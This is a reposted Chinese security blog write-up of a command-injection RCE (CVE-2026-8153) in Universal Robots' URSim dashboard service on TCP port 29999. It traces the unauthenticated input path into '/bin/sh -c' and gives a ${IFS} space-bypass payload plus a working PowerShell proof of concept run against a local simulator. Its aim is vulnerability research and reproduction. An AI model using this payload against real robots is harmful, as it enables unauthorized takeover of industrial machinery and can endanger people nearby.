机器人安全-UR机器人RCE漏洞复现与审计"

admin 2026-10-20 12:13:31 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

机器人安全-UR机器人RCE漏洞复现与审计

原创

ZAC安全
ZAC安全

ZAC安全

2026年6月8日 01:43
韩国

在小说阅读器读本章

去阅读

机器人安全-UR机器人RCE漏洞复现与审计

ZAC安全

2026

////前言

最近在搞机器人安全,研究一下今年新出的CVE-2026-8153,总体分析下来还是比较简单的,而且也新挖到一些其他漏洞。

1

01

环境搭建

拉取一下docker

docker pull universalrobots/ursim\_e-series:5.19.0

然后启动docker

docker run -d ^

--name ursim\_vuln ^

-p 5900:5900 ^

-p 6080:6080 ^

-p 29999:29999 ^

-p 30001:30001 ^

-p 30002:30002 ^

-p 30003:30003 ^

-p 30004:30004 ^

-e ROBOT\_MODEL=UR5 ^

universalrobots/ursim\_e-series:5.19.0

然后可以看到官方的WebUI界面

2

01

代码审计

Docker进入UR机器人的环境中

docker exec -it ursim\_vuln bash

找一下jar文件

find / -name \"polyscope\*.jar\" 2>/dev/null | head -20

然后把jar文件放到主机当中

docker cp ursim\_vuln:/ursim/GUI/bundle/. ursim\_code\jars\

利用jadx反编译

& \"jadx\bin\jadx.bat\" -d ursim\_code\decompiled ursim\_code\jars

漏洞点是public static String getDaemonPid(String daemon) 函数

接受参数拼接然后进入tryToExecuteCommand函数中的Runtime.getRuntime().exec(command)

这里需要理解 Java中的Runtime.exec()的两种调用形式的安全差异:

exec(String):单字符串传入,JVM 内部会按空格分词,无法注入 shell 特殊字符,本身安全

exec(String[]):数组传入,JVM 直接将argv[0]作为可执行文件、argv[1]...作为参数,同样不经过 shell,理论上也安全

然而此处传入的数组是 [\"/bin/sh\", \"-c\", \"ps aux | grep \" + daemon + \" ...\"]。exec(String[])确实不经过 shell 分词,但它把 /bin/sh作为可执行文件,-c作为第一个参数、整个拼接后的命令字符串作为第二个参数传给了 /bin/sh。/bin/sh -c的语义就是\"让 shell 来解释第二个参数\"

因此,无论Runtime.exec本身多安全,只要第三个元素是含有未过滤用户输入的 shell 命令字符串,RCE就在shell 解释阶段发生

getDaemonPid(daemon)的调用方是Profiling类的私有方法doDaemonProfiling。

daemons 数组中的每个元素都原封不动地传入 getDaemonPid(),中间没有任何验证或过滤。

继续向上追溯,doDaemonProfiling 被 profileDaemons 调用:

daemons 数组直接来自上层,profileDaemons同样没有对内容做任何校验。

PROFILING\_DAEMON的模式是 \"profile [-c] -d \",getArgument(0, input) 截取 -d后的整个字符串,无长度限制、无白名单、无转义。

截取出 daemonList后,StringUtils.divide(\" \", daemonList)按空格切割成 String[]。如果 payload 中不含空格,divide 无法切割,整个 payload 就会变成 daemons[0]单个元素传入,最终完整地到达 getDaemonPid()。

所以如果命令中有空格的话就需要用${IFS}来进行绕过。

profile -d a;sleep 5;#

→ getArgument(0) → \"a;sleep 5;#\"

→ divide(\" \", \"a;sleep 5;#\") →[\"a;sleep\", \"5;#\"]

→getDaemonPid(\"a;sleep\") → sleep 没有参数,执行失败

profile -d a;sleep${IFS}5;#

→ divide(\" \", \"a;sleep${IFS}5;#\") →[\"a;sleep${IFS}5;#\"](整体传入,无空格无分割)

→ shell 解析 ${IFS} 为空格 → sleep 5 执行

ProfileDashBoardAction.execute()是被ActionLocator发起调用的。ActionLocator是 StandardInputProcessor的内部组件:

StandardInputProcessor.process() 的调用方是 DashboardActionTask:

继续回溯,定位到DashboardClient中的run

其中构造函数中无任何 IP 白名单、无认证握手、无 Token 校验,TCP 连接建立即发送欢迎串,随即进入命令读取循环,readLine() 读到的每一行都原封不动的进入DashboardActionTask提交执行,中间不做任何过滤

serverSocket.accept() 对所有来源 IP 无差别接受,返回的 Socket 直接传给 DashboardClient。没有来源检查,没有连接数限制的安全控制,每个入站TCP 连接都能立即进入命令处理流程。

然后找到最开始的入口,DashBoardServer硬编码29999端口

new ServerSocket(port) 不传 backlog 和 bindAddr 参数,默认绑定 0.0.0.0,即所有网卡接口。机器人只要有网络连接,任意来源的 IP 都可以在 29999 端口建立 TCP 连接,无需任何凭证。

这是整条漏洞链的起点:外网 → TCP 29999(无认证) → 命令原样传入 → shell 注入→ root 执行。

现在就可以构造复现poc了

powershell -NoProfile -Command \"$c=New-Object Net.Sockets.TcpClient('127.0.0.1',29999);$s=$c.GetStream();Start-Sleep -Milliseconds 500;$b=[Text.Encoding]::ASCII.GetBytes('profile -d a;id>>/tmp/poc.txt;#'+[char]10);$s.Write($b,0,$b.Length);Start-Sleep -Seconds 2;$c.Close()\"

RCE成功!如果是真实环境的情况下就可以完全的接管机器人的面板进行操作了。

宣传页

ZAC安全

本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!


    机器人安全-UR机器人RCE漏洞复现与审计" 网络安全文章

    机器人安全-UR机器人RCE漏洞复现与审计"

    本文详细分析了UR机器人CVE-2026-8153漏洞的复现与审计过程,通过环境搭建、代码审计追溯漏洞链,指出DashboardServer在29999端口无认证接受任意TCP连接,导致用户输入未经滤直接拼接至shell命令,最终通过构造payload实现RCE,并提供了具体复现POC。
    工具推荐|LeakDetector智能信息泄露侦察工具,自动筛选高价值敏感文件" 网络安全文章

    工具推荐|LeakDetector智能信息泄露侦察工具,自动筛选高价值敏感文件"

    LeakDetector是一款面向红队渗透测试的自动化信息泄露侦察工具,通过Bing搜索引擎语法结合Playwright浏览器自动化技术,智能筛选高价值敏感文件并生成可视化审计报告。工具具备抗反爬机制和深度内容分析引擎,支持批量目标扫描、风险分级和CAPTCHA绕过功能。文档包含工具截图、获取方式及作者的安全服务推广内容。
    VibeCoding最容易被忽略的盲区:你生成的UI,只有你自己看得懂" 网络安全文章

    VibeCoding最容易被忽略的盲区:你生成的UI,只有你自己看得懂"

    本文探讨企业级安全产品UI/UX设计的核心误区,强调应以首次使用者而非专家视角进行设计审查。作者提出`小白八问`评估框架,涵盖理解度、可发现性、操作安全感、系统反馈、产品完整性、流程引导、状态可见性和错误解释等维度,主张优秀UI应降低用户认知成本,将复杂性留给自己而非转嫁给用户。
    第19篇全栈AI·Shannon-AI渗透测试中文增" 网络安全文章

    第19篇全栈AI·Shannon-AI渗透测试中文增"

    本文剖析Shannon-AI渗透测试工具,指出其核心价值在于将人工审计流程产品化而非攻击自动化。文章从输入污染、多智能体误判放大等维度揭示流程攻击面,强调合规验证须在授权隔离环境中进行。建议企业团队优先完善证据链,明确自动化边界,强制保留人工复核,并将可追溯且面向修复的报告作为交付标准,确保安全研究的合法性与落地价值。
    评论:0   参与:  0